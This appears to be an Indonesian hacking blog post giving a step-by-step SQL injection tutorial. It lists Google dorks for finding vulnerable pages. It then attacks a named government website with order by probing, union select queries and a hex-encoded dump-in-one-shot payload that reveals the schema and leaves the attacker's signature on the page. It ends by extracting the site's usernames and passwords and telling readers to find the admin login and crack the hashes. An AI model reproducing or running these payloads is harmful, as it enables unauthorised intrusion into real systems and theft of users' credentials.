cara sql injection
PENGENALAN SQL INJECTION
SQL INJECTION adalah suatu teknik hacking yang digunakan oleh attacker untuk mendapatkan sebuah database dengan menyisipkan perintah-perintah SQL melalui url dengan memanfaatkan bug yang disebabkan oleh kesalahan coding atau kurang pemfilteran variabel.
CIRI - CIRI VULN SQLI
Untuk mengetahui web tersebut, vuln sqli atau yang terkena celah sqli adalah dengan membuat error url atau membuat halaman tersebut berubah, caranya kita harus menambahkan karakter (') petik pada id parameter.
contoh :
site.co.li/index.php?id=1'
maka akan keluar pesan seperti ini :
Warning: Unknown: write failed: Disk quota exceeded (122) in Unknown on line 0
Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/tmp) in Unknown on line 0
Langkah -langkah :
Yang pertama kita harus dorking dulu
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
Dan selanjutnya ini kita coba jadikan target https://binamarga.sulselprov.go.id/news.php?id=6
Langsung saja kita cek, apakah web ini vuln atau tidak dengan menambahkan karakter (') setelah id parameter
https://binamarga.sulselprov.go.id/news.php?id=6'
oke ternyata target kita vuln sqli dengan ciri - ciri berubah dari tampilan awal.
selanjutnya kita tambahkan karakter order by sampai dengan bertemu error
https://binamarga.sulselprov.go.id/news.php?id=6'+order+by+1--+ (normal)
https://binamarga.sulselprov.go.id/news.php?id=6'+order+by+2--+ (normal)
https://binamarga.sulselprov.go.id/news.php?id=6'+order+by+3--+ (normal)
kita naikan angka terus sampai bertemu error. Saya menemukan error di 6
https://binamarga.sulselprov.go.id/news.php?id=6%27+order+by+6--+ (error)
selanjutnya, kita ganti order by menjadi union select, karena kita menemukan error di 6 maka kita union select sampai 5, dan tambahkan karakter (.) atau (-) sebelum angka
https://binamarga.sulselprov.go.id/news.php?id=.6'+union+select+1,2,3,4,5--+
oke keluar angka togelnya (angka ajaib) yaitu 2 dan 4, di sini saya akan mencoba memilih angka 2
selanjutnya kita tambah kan diosnya, ganti angka 2 dengan dios kalian
https://binamarga.sulselprov.go.id/news.php?id=.6'+union+select+1,CONCAT(0x3c696d67207372633d2268747470733a2f2f692e6962622e636f2f334d38677156482f313534323032313433343630312e6a7067223e,0x3c62723e,0x496e6a656374204279202e2f63306433782e337272,0x3c62723e,0x3c62723e,0x56657273696f6e203a3a20,version(),0x3c62723e,0x4461746162617365203a3a20,database(),0x3c62723e,0x4469726563746f7279203a3a20,@@datadir,0x3c62723e,0x486f73746e616d65203a3a20,@@hostname,0x3c62723e,0x55736572203a3a20,user(),(select(@a)+from+(select(@a:=0x00),(@tbl:=0x00),(select+(@a)+from+(information_schema.columns)+where+(table_schema!=0x696e666f726d6174696f6e5f736368656d61)+and(0x00)in+(@a:=concat(@a,0x3c62723e,if(+(@tbl!=table_name),Concat(0x3c62723e,0x5461626c65203a3a20,@tbl:=table_name,0x3c62723e7e20,column_name),concat(0x7e20,(column_name)))))))a)),3,4,5--+
oke database web tersebut sudah keluar, selanjutnya tinggal kita dump
kita cari dulu table yang sekiranya terdapat username dan password, di taget saya terletak di table pw_users
CONCAT(0x3c696d67207372633d2268747470733a2f2f692e6962622e636f2f334d38677156482f313534323032313433343630312e6a7067223e,0x3c62723e,0x496e6a656374204279202e2f63306433782e337272,0x3c62723e,(select(@x)from(select(@x:=0x00),(select(@x)from(as_user)where(@x)in(@x:=concat(0x20,@x,0x3c62723e,username,0x203a3a20,password))))x))
Ganti as_user dengan nama table, username dan password sesuai database yang kalian temukan
https://binamarga.sulselprov.go.id/news.php?id=.6'+union+select+1,CONCAT(0x3c696d67207372633d2268747470733a2f2f692e6962622e636f2f334d38677156482f313534323032313433343630312e6a7067223e,0x3c62723e,0x496e6a656374204279202e2f63306433782e337272,0x3c62723e,(select(@x)from(select(@x:=0x00),(select(@x)from(pw_users)where(@x)in(@x:=concat(0x20,@x,0x3c62723e,username,0x203a3a20,userpassword))))x)),3,4,5--+
done:v username dan password sudah keluar :) tinggal kalian cari adlog dan hash password tersebut
sekian tutorial dari saya, bila masih bingung bisa bertaya di instagram saya @c0d3x_3r0r
Komentar
Posting Komentar